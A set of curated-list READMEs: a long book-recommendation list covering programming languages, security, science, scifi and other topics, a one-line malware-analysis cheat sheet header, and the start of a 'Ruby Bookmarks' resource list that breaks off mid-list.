Elements of Clojure (2017)](https://www.goodreads.com/book/show/31159768-elements-of-clojure) - [📕 Clojure in Action (2015)](https://www.manning.com/books/clojure-in-action-second-edition) - [📕 Joy of Clojure (2014)](https://www.manning.com/books/the-joy-of-clojure-second-edition) - Quite deep, not for beginners, but superb in combination with "Clojure in Action". ### D - [📕 The D programming language (2010)](http://amzn.to/1ZTDmqH) - [📖 Programming in D (2015)](http://ddili.org/ders/d.en/index.html) ### Go - [📖 Network programming with Go (2012)](https://jan.newmarch.name/go/) - [📖 The little go book (2014)](http://openmymind.net/The-Little-Go-Book/) - [📖 Go in action (2015)](https://github.com/iMarcoGovea/books/blob/master/golang/go-in-action.pdf) - [📖 Go in action, Second Edition (2022)](https://www.manning.com/books/go-in-action-second-edition) - [📕 The go programming language (2015)](https://www.goodreads.com/book/show/25080953-the-go-programming-language) - [Notes](https://github.com/namit/The-Go-Programming-Language) - [📖 Go 101 (2018)](https://go101.org/article/101.html) - [📖 Web app with go - anti text book](https://thewhitetulip.gitbooks.io/webapp-with-golang-anti-textbook/content/) - [📖 Build web application with golang](https://github.com/astaxie/build-web-application-with-golang/blob/master/en/preface.md) - [Multiple Language Versions](https://github.com/astaxie/build-web-application-with-golang#multiple-language-versions) - [📖 Learn Concurrent Programming with Go (2022)](https://www.manning.com/books/learn-concurrent-programming-with-go) - [📖 Learn Go with Pocket-Sized Projects (2023)](https://www.manning.com/books/learn-go-with-pocket-sized-projects) ### Haskell - [📖 Learn You a Haskell for Great Good! (2011)](http://learnyouahaskell.com/) - [📖 Write you a Haskell (2014)](http://dev.stephendiehl.com/fun/) - [Implementation in code](https://github.com/AlphaMarc/WYAH) - [📕 Programming in Haskell (2016)](https://www.goodreads.com/book/show/912217.Programming_in_Haskell) - [📕 Haskell in Depth (2018)](https://www.manning.com/books/haskell-in-depth) - Explores the important language features and programming skills you’ll need to build production-quality software using Haskell. - [📕 Thinking with Types (2018)](https://leanpub.com/thinking-with-types) - Type-Level Programming in Haskell. - [📕 The Haskell School of Music (2018)](https://www.goodreads.com/book/show/18299474-the-haskell-school-of-music) ### Java - [📕 Effective java (2001)](https://www.goodreads.com/book/show/105099.Effective_Java_Programming_Language_Guide) - [Code examples](https://github.com/marhan/effective-java-examples) - [Notes](https://github.com/jwongo/effectivejava) - [📖 Data structures and algorithms in java (2003)](http://coltech.vnu.edu.vn/~sonpb/DSA/Data%20Structures%20and%20Algorithms%20in%20Java,%206th%20Edition,%202014.pdf) - [📕 Java concurrency in practice (2006)](http://jcip.net/) - [📖 Introduction to programming in java: an interdisciplinary approach (2008)](http://introcs.cs.princeton.edu/java/home/chapter1.pdf) - [📕 Java 8 in action (2014)](https://www.goodreads.com/book/show/20534354-java-8-in-action) - [📕 Test-driven Java development (2015)](https://www.goodreads.com/book/show/26333479-test-driven-java-development) - [📕 Java SE 11 Programmer I Certification Guide (2020 early-access)](https://www.manning.com/books/java-se-11-programmer-i-certification-guide) - [📕 Java by Comparison (2018)](https://www.goodreads.com/book/show/39339133-java-by-comparison) - [Code examples](https://github.com/javabycomparison/samplecode) - [📕 Java: The Complete Reference (2011)](https://www.goodreads.com/book/show/12545373-java) ### JavaScript - [📖 You don’t know JS](https://github.com/getify/You-Dont-Know-JS) - [📖 Up and going](https://github.com/getify/You-Dont-Know-JS/tree/master/up%20%26%20going) - [📖 Scope and closures](https://github.com/getify/You-Dont-Know-JS/blob/master/scope%20&%20closures/readme.md#you-dont-know-js-scope--closures) - [📖 This and object prototypes](https://github.com/getify/You-Dont-Know-JS/blob/master/this%20&%20object%20prototypes/readme.md#you-dont-know-js-this--object-prototypes) - [📖 Types and grammar](https://github.com/getify/You-Dont-Know-JS/blob/master/types%20&%20grammar/readme.md#you-dont-know-js-types--grammar) - [📖 Async and performance](https://github.com/getify/You-Dont-Know-JS/blob/master/async%20&%20performance/readme.md#you-dont-know-js-async--performance) - [📖 ES6 and beyond](https://github.com/getify/You-Dont-Know-JS/blob/master/es6%20&%20beyond/readme.md#you-dont-know-js-es6--beyond) - [📖 Exploring js](http://exploringjs.com/) - [📖 Builder Book: Build a Full Stack JavaScript Web App from Scratch (2018)](https://builderbook.org) - [📖 The JavaScript way (2017)](https://leanpub.com/thejsway) - [📖 Learning JavaScript design patterns (2015)](https://addyosmani.com/resources/essentialjsdesignpatterns/book/) - [📕 Secrets of the JavaScript Ninja (2013)](https://www.goodreads.com/book/show/4373732-secrets-of-the-javascript-ninja) - [📕 Effective JavaScript: 68 specific ways to harness the power of JavaScript (2012)](https://www.goodreads.com/book/show/13705402-effective-javascript) - [📖 Eloquent JavaScript (2011)](http://eloquentjavascript.net/00_intro.html) - [📕 JavaScript: The Good Parts (2008)](https://www.goodreads.com/book/show/2998152-javascript) - [📕 Tiny Node Projects (2022)](https://www.manning.com/books/tiny-node-projects) ### Kotlin - [📖 The Joy of Kotlin (2019)](https://livebook.manning.com/book/the-joy-of-kotlin/about-this-book/) - [📕 Head First Kotlin (2019)](https://www.goodreads.com/book/show/40014285-head-first-kotlin) - [📖 Kotlin in Action (2017)](https://livebook.manning.com/book/kotlin-in-action/about-this-book/) ### Lisp - [📕 The little schemer (1974)](https://mitpress.mit.edu/books/little-schemer) - [📕 Lisp in small pieces (1994)](https://pages.lip6.fr/Christian.Queinnec/WWW/LiSP.html) - [📖 Practical Common Lisp (2005)](http://www.gigamonkeys.com/book/) ### OCaml - [📖 Real World OCaml (2018)](http://dev.realworldocaml.org/) ### Perl - [📖 Modern Perl (2016)](http://modernperlbooks.com/books/modern_perl_2016/index.html) ### PowerShell - [📕 Learn PowerShell in a Month of Lunches, Linux and macOS Edition (2019)](https://www.manning.com/books/learn-powershell-in-a-month-of-lunches-linux-and-macos-edition) ### Prolog - [📖 The Power of Prolog (2018)](https://www.metalevel.at/prolog) - [📖 Logic Programming with Prolog (2005)](https://drive.uqu.edu.sa/_/fbshareef/files/textbook.pdf) ### Purescript - [📖 Purescript book (2017)](https://github.com/paf31/purescript-book) ### Python - [📕 Python essential reference (1999)](https://www.goodreads.com/book/show/6666430-python-essential-reference) - [📖 Dive into python 3 (2004)](http://www.diveintopython3.net/) - [📖 Problem solving with algorithms and data structures using python (2005)](http://interactivepython.org/runestone/static/pythonds/index.html) - [📖 Python cookbook (2011)](https://d.cxcore.net/Python/Python_Cookbook_3rd_Edition.pdf) - [📕 Data structures and algorithms in python (2013)](https://www.goodreads.com/book/show/13838796-data-structures-and-algorithms-in-python) - [📕 Test driven development with python (2014)](https://www.goodreads.com/book/show/17912811-test-driven-web-development-with-python) - [📕 Effective python (2015)](https://www.goodreads.com/book/show/23020812-effective-python) - [📕 Fluent python (2015)](https://www.goodreads.com/book/show/22800567-fluent-python) - [📖 Think Python: How to Think Like a Computer Scientist (2015)](https://greenteapress.com/thinkpython2/html/index.html) - [📖 Inside the python virtual machine (2017)](https://leanpub.com/insidethepythonvirtualmachine) - [📖 Full Speed Python (2018)](https://github.com/joaoventura/full-speed-python) - [📖 Automate the boring stuff with python](https://automatetheboringstuff.com/) - [📕 Practices of the Python Pro (2020)](https://www.goodreads.com/book/show/45361469-practices-of-the-python-pro) - [📕 A Pythonic Adventure (2022)](https://github.com/stjepanjurekovic/books/edit/master/readme.md) - children friendly - [📕 Twisted Python Projects (2023)](https://www.manning.com/books/twisted-python-projects) - children friendly ### R - [📖 R for Data Science (2017)](http://r4ds.had.co.nz/) ### ReasonML - [📖 Exploring ReasonML (2018)](http://reasonmlhub.com/exploring-reasonml/toc.html) ### Ruby - [📕 The well grounded rubyist (2009)](https://www.goodreads.com/book/show/3892688-the-well-grounded-rubyist) - [📕 Eloquent ruby (2011)](https://www.goodreads.com/book/show/9364729-eloquent-ruby) - [📕 Practical object oriented design in ruby (2012)](https://www.goodreads.com/book/show/13507787-practical-object-oriented-design-in-ruby) - [Code solutions](https://github.com/skmetz/poodr) - [Notes](https://github.com/jordanpoulton/practical_object_oriented_design_in_ruby) - [Go implementation](https://github.com/nathany/go-poodr) - [📕 Confident ruby (2013)](https://www.goodreads.com/book/show/15847933-confident-ruby) ### Rust - [📖 Rust by example](http://rustbyexample.com/) - [📖 The rust programming language](https://doc.rust-lang.org/book/) - [📖 The rustonomicon](https://doc.rust-lang.org/nomicon/) - [📖 Discovery](https://rust-embedded.github.io/discovery/#scope) - Discover the world of microcontrollers through Rust. - [📖 Rust and WebAssembly (2018)](https://rustwasm.github.io/book/) ### Scala - [📕 Functional programming in scala (2014)](https://www.manning.com/books/functional-programming-in-scala) ### Smalltalk - [📕 Smalltalk best practice patterns (1997)](https://www.goodreads.com/book/show/781561.Smalltalk_Best_Practice_Patterns) ### Swift - [📖 Swift programming language (2014)](https://developer.apple.com/library/content/documentation/Swift/Conceptual/Swift_Programming_Language/) - [Swift Cheat sheet](https://github.com/jugend/swift-cheat-sheet) - [📕 Hacking with macOS (2018)](https://www.hackingwithswift.com/store/hacking-with-macos) ### TypeScript - [📕 Effective TypeScript: 62 Specific Ways to Improve Your TypeScript (2019)](https://www.goodreads.com/book/show/48570456) - [Notes](https://github.com/danvk/effective-typescript) - [📖 Typescript deep dive](https://basarat.gitbooks.io/typescript/) - [📖 SaaS Boilerplate Book: Build a Production-Ready SaaS Web App from Scratch (2020)](https://builderbook.org/book) - [📖 The Concise TypeScript Book](https://github.com/gibbok/typescript-book/) ### Agda - [📖 Programming Language Foundations in Agda (2018)](https://plfa.github.io/) ## Programming - [📕 The art of computer programming (1968-)](https://www.goodreads.com/book/show/112239.The_Art_of_Computer_Programming_Volumes_1_3_Boxed_Set) - [📕 The psychology of computer programming (1971)](https://www.goodreads.com/book/show/1660754.The_Psychology_of_Computer_Programming) - [📕 The elements of programming style (1974)](https://www.goodreads.com/book/show/454039.The_Elements_of_Programming_Style) - [📕 Software reliability: principles and practices (1976)](https://www.goodreads.com/book/show/2383920.Software_Reliability) - [📖 Structure and interpretation of computer programs (1979)](http://sarabander.github.io/sicp/html/index.xhtml) - [SICP in Emacs Lisp](https://github.com/zv/SICP-guile) - [📖 Mindstorms: children, computers, and powerful ideas (1980)](http://mindstorms.media.mit.edu/) - [📖 Communicating sequential processes (1985)](http://www.usingcsp.com/cspbook.pdf) - [📕 The art of the metaobject protocol (1991)](https://www.goodreads.com/book/show/274495.The_Art_of_the_Metaobject_Protocol) - [📖 Code: hidden language of computer hardware and software (1999)](https://bobcarp.files.wordpress.com/2014/07/code-charles-petzold.pdf) - [📕 The pragmatic programmer (1999)](https://www.goodreads.com/book/show/4099.The_Pragmatic_Programmer) - [📕 The practice of programming (1999)](https://www.goodreads.com/book/show/1032758.The_Practice_of_Programming) - [📕 Refactoring (1999)](https://www.goodreads.com/book/show/44936.Refactoring) - [📕 How to design programs (2001)](https://www.goodreads.com/book/show/1119079.How_to_Design_Programs) - [📕 Computer Systems: A Programmer's Perspective (2002)](https://www.goodreads.com/book/show/829182.Computer_Systems) - [📕 Inside the machine (2006)](https://www.goodreads.com/book/show/610830.Inside_the_Machine) - [📕 Clean code (2008)](https://www.goodreads.com/book/show/3735293-clean-code) - [📕 Design concepts in programming (2008)](https://www.goodreads.com/book/show/4412222-design-concepts-in-programming-languages) - [📕 Apprenticeship patterns (2010)](https://www.goodreads.com/book/show/5608045-apprenticeship-patterns) - [📕 The art of readable code: simple and practical techniques for writing better code (2011)](https://www.goodreads.com/book/show/8677004-the-art-of-readable-code) - [📕 Programming in the large with design patterns (2012)](https://www.goodreads.com/book/show/16418148-programming-in-the-large-with-design-patterns) - [📕 Dynamic Programming and Optimal Control (2012)](http://www.athenasc.com/dpbook.html) - [📕 The Software Craftsman: Professionalism, Pragmatism, Pride (2014)](https://www.goodreads.com/book/show/23215733-the-software-craftsman) - [📖 How These Things Work (2016)](http://reasonablypolymorphic.com/book/preface) - [📕 Introduction to the Theory of Complex Systems (2018)](https://www.goodreads.com/book/show/40404857-introduction-to-the-theory-of-complex-systems) - [📖 Composing programs](http://www.composingprograms.com/) - [📕 Designing APIs with Swagger and OpenAPI (early-access)](https://www.manning.com/books/designing-apis-with-swagger-and-openapi) - A hands-on primer for describing, planning and designing web APIs. - [📕 API Design Patterns](https://www.manning.com/books/api-design-patterns) - A collection of best practices and design standards for web and internal APIs. - [📕 Street Coder (2021)](https://www.goodreads.com/book/show/56986386-street-coder) - Programmer's survival guide, full of tips, tricks, and hacks that will make you a more efficient programmer. - [📕 Good Code, Bad Code (2021)](https://www.goodreads.com/book/show/56771599-good-code-bad-code?ac=1&from_search=true&qid=lOLevP7XTs&rank=1) - Book about writing code that is robust, reliable, and easy for team members to understand and adapt. - [📕 Software Mistakes and tradeoff: How to make good programming decision (2021)](https://www.manning.com/books/software-mistakes-and-tradeoffs) - Optimize the decisions that define your code by exploring the common mistakes and intentional tradeoffs made by expert developers. - [📕 Parallel and High-Performance Computing (2021)](https://www.manning.com/books/parallel-and-high-performance-computing) - A book that offers techniques guaranteed to boost your code’s effectiveness. - [📕 The Programmer's Brain (2021)](https://www.manning.com/books/the-programmers-brain) - A book that teaches the concrete techniques rooted in cognitive science that will improve the way you learn and think about code. - [📕 Designing APIs with Swagger and OpenAPI (early-access)](https://www.manning.com/books/designing-apis-with-swagger-and-openapi) - [📕 API Design Patterns](https://www.manning.com/books/api-design-patterns) - [📕 Street Coder (2021)](https://www.goodreads.com/book/show/56986386-street-coder) - Programmer's survival guide, full of tips, tricks, and hacks that will make you a more efficient programmer. - [📕 Good Code, Bad Code (2021)](https://www.goodreads.com/book/show/56771599-good-code-bad-code?ac=1&from_search=true&qid=lOLevP7XTs&rank=1) - Book about writing code that is robust, reliable, and easy for team members to understand and adapt. - [📕 Software Mistakes and tradeoff: How to make good programming decision (2021)](https://www.manning.com/books/software-mistakes-and-tradeoffs) - Optimize the decisions that define your code by exploring the common mistakes and intentional tradeoffs made by expert developers. - [📕 Parallel and High-Performance Computing (2021)](https://www.manning.com/books/parallel-and-high-performance-computing) - A book that offers techniques guaranteed to boost your code’s effectiveness. - [📕 The Art of Unit Testing, Third Edition (2021)](https://www.manning.com/books/the-art-of-unit-testing-third-edition) - A book that guides you step by step from your first simple unit tests to building complete test sets that are maintainable, readable, and trustworthy. - [📕 The Creative Programmer (2022)](https://www.manning.com/books/the-creative-programmer) - Book about creative problem solving in programming. ## Psychedelics - [📖 LSD: My Problem Child (1979)](https://www.erowid.org/library/books_online/lsd_my_problem_child) - [📕 Tryptamine Palace: 5-MeO-DMT and the Sonoran Desert Toad (2009)](https://www.goodreads.com/book/show/5519081-tryptamine-palace) - [📖 Tryptamines I Have Known And Loved: The Chemistry Continues](https://erowid.org/library/books_online/tihkal/tihkal.shtml) - [📕 The invisible landscape: mind, hallucinogens, and the i ching (1994)](https://www.goodreads.com/book/show/191375.The_Invisible_Landscape) - [📖 The Cosmic Serpent: DNA and the origins of knowledge (1998)](https://www.indybay.org/uploads/2011/04/17/cosmicserp.pdf) - [📕 Breaking open the head (2002)](https://www.goodreads.com/book/show/1815.Breaking_Open_the_Head) - [📕 Supernatural: meetings with the ancient teachers of mankind (2005)](https://www.goodreads.com/book/show/53324.Supernatural) ## Psychology - [📕 Thinking, Fast and Slow (2011)](https://www.goodreads.com/book/show/11468377-thinking-fast-and-slow) - [📕 On intelligence (2004)](https://www.goodreads.com/book/show/27539.On_Intelligence) - [📕 Influence: the psychology of persuasion (1984)](https://www.goodreads.com/book/show/28815.Influence) ## Quantum physics - [📕 Quantum: A Guide for the Perplexed (2003)](https://www.goodreads.com/book/show/100034.Quantum) ## Regular Expressions - [📕 Regular expressions cookbook (2009)](https://www.goodreads.com/book/show/6125777-regular-expressions-cookbook) - [📖 Python re(gex)? (2020)](https://learnbyexample.github.io/py_regular_expressions/) - [📖 JavaScript RegExp (2020)](https://learnbyexample.github.io/learn_js_regexp/) - [📖 Ruby Regexp (2020)](https://learnbyexample.github.io/Ruby_Regexp/) ## Reinforcement learning - [📖 Reinforcement Learning: An Introduction (2018)](http://www.incompleteideas.net/book/bookdraft2018jan1.pdf) ## Reverse engineering - [📖 Reverse Engineering for Beginners (2018)](https://beginners.re/RE4B-EN.pdf) ## Science - [📕 The structure of scientific revolutions (1962)](https://www.goodreads.com/book/show/61539.The_Structure_of_Scientific_Revolutions) - [📕 Cosmos (1980)](https://www.goodreads.com/book/show/55030.Cosmos) - [📕 A brief history of time (1988)](https://www.goodreads.com/book/show/3869.A_Brief_History_of_Time) - [📕 The demon-haunted world (1995)](https://www.goodreads.com/book/show/17349.The_Demon_Haunted_World) - [📕 A short history of nearly everything (2003)](https://www.goodreads.com/book/show/21.A_Short_History_of_Nearly_Everything) - [📕 What if? (2014)](https://www.goodreads.com/book/show/21413662-what-if) ## Scifi - [📕 The sirens of titan (1959)](https://www.goodreads.com/book/show/4982.The_Sirens_of_Titan) - [📕 Stranger in a strange land (1961)](https://www.goodreads.com/book/show/350.Stranger_in_a_Strange_Land) - [📕 Cat’s cradle (1963)](https://www.goodreads.com/book/show/135479.Cat_s_Cradle) - [📕 Do androids dream of electric sheep? (1968)](https://www.goodreads.com/book/show/7082.Do_Androids_Dream_of_Electric_Sheep_) - [📕 Ubik (1969)](https://www.goodreads.com/book/show/22590.Ubik) - [📕 The mote in god's eye (1974)](https://www.goodreads.com/book/show/100365.The_Mote_in_God_s_Eye) - [📕 Neuromancer (1984)](https://www.goodreads.com/book/show/22328.Neuromancer) - [📕 Ender’s game (1985)](https://www.goodreads.com/book/show/375802.Ender_s_Game) - [📕 The player of games (1988)](https://www.goodreads.com/book/show/18630.The_Player_of_Games) - [📕 A fire upon the deep (1992)](https://www.goodreads.com/book/show/77711.A_Fire_Upon_the_Deep) - [📕 Snow crash (1992)](https://www.goodreads.com/book/show/830.Snow_Crash) - [📕 Permutation city (1994)](https://www.goodreads.com/book/show/156784.Permutation_City) - [📕 The diamond age (1995)](https://www.goodreads.com/book/show/827.The_Diamond_Age) - [📕 The martian (2011)](https://www.goodreads.com/book/show/18007564-the-martian) - [📕 Golden son (2015)](https://www.goodreads.com/book/show/18966819-golden-son) - [📕 The dispossessed](https://www.goodreads.com/book/show/13651.The_Dispossessed) - [📕 Blindsight](https://www.goodreads.com/book/show/48484.Blindsight) ### SciFi Series - [📕 The baroque cycle](https://www.goodreads.com/series/49317-the-baroque-cycle) - [📕 Hyperion cantos](https://www.goodreads.com/series/40461-hyperion-cantos) - [📕 The dark tower](https://www.goodreads.com/series/40750-the-dark-tower) - [📕 Foundation](https://www.goodreads.com/series/59386-foundation-publication-order) - [📕 Red rising](https://www.goodreads.com/book/show/15839976-red-rising) - [📕 Culture](https://www.goodreads.com/series/49118-culture) - [📕 Rama](https://www.goodreads.com/book/show/112537.Rendezvous_with_Rama) ## Security - [📕 The database hacker’s handbook (2005)](https://www.goodreads.com/book/show/369905.The_Database_Hacker_s_Handbook) - Most detailed book available for attacking databases (covers basic through advanced topics). - [📕 A guide to kernel exploitation (2010)](https://www.goodreads.com/book/show/9224826-a-guide-to-kernel-exploitation) - Advanced exploitation of a range of operating systems. - [📕 The tangled web (2011)](https://www.goodreads.com/book/show/11553604-the-tangled-web) - Detailed look at the foundations of web protocols followed by a thorough examination of their weakness. - [📖 The web application hackers handbook (2014)](https://leaksource.files.wordpress.com/2014/08/the-web-application-hackers-handbook.pdf) - [📕 The browser hacker's handbook (2014)](https://www.goodreads.com/book/show/17891588-the-browser-hacker-s-handbook) - A detailed look into many web security topics. - [📕 Security Engineering (2020)](https://www.goodreads.com/book/show/3268675-security-engineering) - A look into many security topics. ## Sleep - [📕 Why We Sleep: Unlocking the Power of Sleep and Dreams (2017)](https://www.goodreads.com/book/show/34466963-why-we-sleep) ## Society - [📕 The utopia of rules (2015)](https://www.goodreads.com/book/show/22245334-the-utopia-of-rules) ## Spirituality - [📕 The Quantum and the Lotus: A Journey to the Frontiers Where Science and Buddhism Meet (2000)](https://www.goodreads.com/book/show/222652.The_Quantum_and_the_Lotus) - [📕 Journey of souls: case studies of life between lives (1994)](https://www.goodreads.com/book/show/104979.Journey_of_Souls) ## Startups - [📕 Running Lean (2012)](https://www.goodreads.com/book/show/13078769-running-lean) - [📕 Zero to one (2014)](https://www.goodreads.com/book/show/18050143-zero-to-one) - [📕 Just fucking ship (2014)](https://www.goodreads.com/book/show/23700819-just-fucking-ship) ## Statistics - [📕 The visual display of quantitative information (1983)](https://www.goodreads.com/book/show/17744.The_Visual_Display_of_Quantitative_Information) - [📕 Bayesian Data Analysis (1995)](https://www.goodreads.com/book/show/619590.Bayesian_Data_Analysis) - [📖 The elements of statistical learning (2001)](http://statweb.stanford.edu/%7Etibs/ElemStatLearn/printings/ESLII_print10.pdf) - [📖 All of statistics (2004)](http://www.stat.cmu.edu/~larry/all-of-statistics/) - [📕 Introduction to bayesian statistics (2007)](https://www.goodreads.com/book/show/2378169.Introduction_to_Bayesian_Statistics) - [📖 Think bayes: bayesian statistics made simple (2012)](http://www.greenteapress.com/thinkbayes/thinkbayes.pdf) - [📖 An introduction to statistical learning: with applications in r (2013)](http://www-bcf.usc.edu/%7Egareth/ISL/) - [📕 Statistical rethinking: a bayesian course with examples in R and Stan (2015)](http://xcelab.net/rm/statistical-rethinking/) - [Lectures](https://www.youtube.com/playlist?list=PLDcUM9US4XdMdZOhJWJJD4mDBMnbTWw_z) - [📖 Computational and inferential thinking (2017)](https://www.inferentialthinking.com/) - [📕 Statistics Playbook (early Access - 2022)](https://www.manning.com/books/statistics-playbook) ## Strategy - [📕 The art of war (~ 500 BC)](https://www.goodreads.com/book/show/10534.The_Art_of_War) ## Text editors - [📖 Build Your Own Text Editor](https://viewsourcecode.org/snaptoken/kilo/) ### Vim - [📕 Practical vim: Edit Text at the Speed of Thought (2012)](https://www.goodreads.com/book/show/13607232-practical-vim) - [Notes](https://github.com/gitig/Practical-Vim-Notes) - [📖 Learn Vimscript the Hard Way](http://learnvimscriptthehardway.stevelosh.com/) - [📖 Vim user manual](http://vimdoc.sourceforge.net/htmldoc/usr_toc.html) - Must read for anyone new to vim. ## Type theory - [📖 Type Theory & Functional Programming (1999)](https://www.cs.kent.ac.uk/people/staff/sjt/TTFP/ttfp.pdf) - [📕 Type Theory and Formal Proof: An Introduction (2014)](https://www.goodreads.com/book/show/21442441-type-theory-and-formal-proof) - [📕 Programming with Types (early-access 2019/20)](https://www.manning.com/books/programming-with-types) ## Unix - [📕 Advanced programming in the unix environment (1992)](https://www.goodreads.com/book/show/603263.Advanced_Programming_in_the_UNIX_Environment) - [📕 Unix power tools (1993)](https://www.goodreads.com/book/show/172314.UNIX_Power_Tools) - [📖 An introduction to unix (2014)](http://www.oliverelliott.org/article/computing/tut_unix/) - [📖 GNU grep and ripgrep (2020)](https://learnbyexample.github.io/learn_gnugrep_ripgrep/) - [📖 GNU sed (2020)](https://learnbyexample.github.io/learn_gnused/) - [📖 GNU awk (2020)](https://learnbyexample.github.io/learn_gnuawk/) ## Version control ### Git - [📖 Git in practice (2014)](https://content.mirantis.com/rs/451-RBY-185/images/McQuaid-git-in-practice.pdf) - [📖 Pro git (2014)](https://git-scm.com/book/en/v2) ## Visualization - [📕 Envisioning information (1990)](https://www.goodreads.com/book/show/17745.Envisioning_Information) ## Writing - [📕 Style: Lessons in Clarity and Grace (1981)](https://www.goodreads.com/book/show/6966800) ## Web Development - [📖 Site Reliability Engineering](https://landing.google.com/sre/book.html) - [📕 Hugo in Action (early-access)](https://www.manning.com/books/hugo-in-action) - [📕 Micro Frontends in Action](https://www.manning.com/books/micro-frontends-in-action) ### CSS - [📖 Learn CSS Layout the pedantic way (2015)](http://book.mixu.net/css/) ### Node - [📖 Node up and running (2012)](http://chimera.labs.oreilly.com/books/1234000001808/index.html) ### React - [📖 React in Patterns (2018)](https://krasimir.gitbooks.io/react-in-patterns/content/) - [📖 The Road to learn React](https://roadtoreact.com/) - [📕 React Hooks in Action](https://www.manning.com/books/react-hooks-in-action) ### Redux - [📖 Redux Book (2018)](https://read.reduxbook.com/) ### Webpack - [📖 Webpack: From apprentice to master (2018)](https://survivejs.com/webpack/preface/) ### Web design - [📕 Don’t make me think (2000)](https://www.goodreads.com/book/show/18197267-don-t-make-me-think-revisited) ## Other - [Awesome fantasy](https://github.com/RichardLitt/awesome-fantasy) - [Awesome scifi](https://github.com/sindresorhus/awesome-scifi) - [Book notes](https://github.com/mgp/book-notes) - [Book suggestions subreddit](https://www.reddit.com/r/booksuggestions) - [Free programming books](https://github.com/EbookFoundation/free-programming-books) - [Influential CS books](https://github.com/chhantyal/influential-cs-books) - [Language-agnostic programming books](https://news.ycombinator.com/item?id=14486657) - [Mind expanding books](https://github.com/hackerkid/Mind-Expanding-Books) - [Recommended reading for developers](https://blog.codinghorror.com/recommended-reading-for-developers) [](https://creativecommons.org/licenses/by/4.0/) [](https://github.com/learn-anything/curated-lists) [](contributing.md) [](https://twitter.com/learnanything_)

# Cheat Sheet / Quick reference These are some of the commands which I use frequently during Malware Analysis and DFIR. [PowerShell Cheat Sheet for Blue Team](./PowerShell.md)

# Ruby Bookmarks [](https://github.com/sindresorhus/awesome) This is a curated collection of essential Ruby and Ruby on Rails resources. The project aims to maintain a well-structured reference equally useful both for beginners and advanced web developers. ★&nbsp;stands here for Editors' Choice. This list is not intended to include any random resource related to Ruby programming (we already have a most complete gem catalogue at [ruby-toolbox.com](https://ruby-toolbox.com) and [Awesome Ruby](https://ruby.libhunt.com)), but only the best and most actual alternatives in each area. You will find here latest editions of the most important books, time and community tested gems (alive projects only!), and actively updated websites. *Sharing and pull requests are very much appreciated!* **[Fork and edit](https://github.com/dreikanter/ruby-bookmarks/edit/master/README.md)** PS: Check out [awesome-awesomeness](https://github.com/bayandin/awesome-awesomeness) for other community-driven bookmark collections. ## Table of Contents - [Books](#books) - [For beginners and intermediate level developers](#for-beginners-and-intermediate-level-developers) - [Advancing Ruby knowledge](#advancing-ruby-knowledge) - [Ruby on Rails for beginners](#ruby-on-rails-for-beginners) - [Ruby on Rails, advanced level](#ruby-on-rails-advanced-level) - [Testing](#testing) - [Other frameworks and tools](#other-frameworks-and-tools) - [Blogs](#blogs) - [Screencasts and courses](#screencasts-and-courses) - [Other Learning Materials](#other-learning-materials) - [Style Guides](#style-guides) - [Podcasts](#podcasts) - [Tools](#tools) - [IDEs and text editors](#ides-and-text-editors) - [Code quality analysis](#code-quality-analysis) - [Environment management](#environment-management) - [Ruby distributions](#ruby-distributions) - [Documentation](#documentation) - [Application and Web Servers](#application-and-web-servers) - [Deployment Automation and Configuration Management](#deployment-automation-and-configuration-management) - [Other tools](#other-tools) - [Quizzes, tests, exams](#quizzes-tests-exams) - [Deployment](#deployment) - [Security](#security) - [Gems](#gems) - [ActiveRecord](#activerecord) - [API](#api) - [Authentication](#authentication) - [Authorization](#authorization) - [Avatars](#avatars) - [Background Jobs](#background-jobs) - [Bootstrap](#bootstrap) - [CLI](#cli) - [CSS](#css) - [Configuration and environment variables](#configuration-and-environment-variables) - [Debugging](#debugging) - [E-commerce](#e-commerce) - [Graphics](#graphics) - [HTML, XML](#html-xml) - [Logging](#logging) - [Mail](#mail) - [Markdown](#markdown) - [Message Queuing](#message-queuing) - [Misc](#misc) - [Multithreading](#multithreading) - [Profiling and Performance](#profiling-and-performance) - [Rack](#rack) - [Rails](#rails) - [Scheduling](#scheduling) - [SDKs and API Wrappers](#sdks-and-api-wrappers) - [Search](#search) - [Security](#security) - [Serialization](#serialization) - [Syntax Highlighters](#syntax-highlighters) - [Template engines](#template-engines) - [Testing](#testing) - [Web Frameworks](#web-frameworks) ## Books ### For beginners and intermediate level developers - ★ [Eloquent Ruby](http://www.amazon.com/Eloquent-Ruby-Addison-Wesley-Professional/dp/0321584104/) by *Russ Olsen* - [I Love Ruby](https://i-love-ruby.gitlab.io/) by Karthikeyan A. K. - [Programming Ruby](http://pragprog.com/book/ruby4/programming-ruby-1-9-2-0) by *Dave Thomas*, *Andy Hunt*, and *Chad Fowler* - [Learn Ruby The Hard Way](https://www.amazon.com/dp/032188499X) by *Zed A. Shaw* ([Official site](http://ruby.learncodethehardway.org/book/)) - [The Ruby Programming Language](http://www.amazon.com/dp/0596516177) by *David Flanagan* and *Yukihiro "Matz" Matsumoto* - [Why's Poignant Guide to Ruby](http://mislav.uniqpath.com/poignant-guide/) by *Why the Lucky Stiff* ### Advancing Ruby knowledge - ★ [Practical Object-Oriented Design in Ruby](http://poodr.com) by *Sandi Metz* - ★ [Ruby Under a Microscope: An Illustrated Guide to Ruby Internals](http://www.amazon.com/dp/1593275277/) by *Pat Shaughnessy* ([Official site](http://patshaughnessy.net/ruby-under-a-microscope)) - ★ [Confident Ruby: 32 Patterns for Joyful Coding](http://www.amazon.com/dp/B00ETE0D2S/) by *Avdi Grimm* ([Official site](http://www.confidentruby.com/)) - [Modern Front-End Development for Rails](https://pragprog.com/titles/nrclient2/modern-front-end-development-for-rails-second-edition/) - [Polished Ruby Programming](https://www.amazon.com/Polished-Ruby-Programming-maintainable-high-performance-ebook/dp/B093TH9P7C) by *Jeremy Evans* - [Exceptional Ruby: Master the Art of Handling Failure in Ruby](http://pragprog.com/book/ager/exceptional-ruby) by *Avdi Grimm* - [Metaprogramming Ruby: Program Like the Ruby Pros](http://www.amazon.com/dp/B00A376YAK/) by *Paolo Perrotta* - [The Well-Grounded Rubyist](http://www.amazon.com/The-Well-Grounded-Rubyist-David-Black/dp/1617291692/) by *David A. Black* - [Clean Ruby](http://clean-ruby.com/) by *Jim Gay* - [Reliably Deploying Rails Applications](https://leanpub.com/deploying_rails_applications) by *Ben Dixon* - [Rubyfu](http://rubyfu.net) - Collection of ideas, tricks and skills for hackers, an open source book. - [Demystifying Rails](https://launchschool.com/books/demystifying_rails/read/introduction) by *Launch School* — This book doesn't teach how to use Rails to build prototypes. Instead, this book dives one layer below the surface to expose how Rails is pieced together. - [The Ruby Bibliography](http://rubybib.org/) - 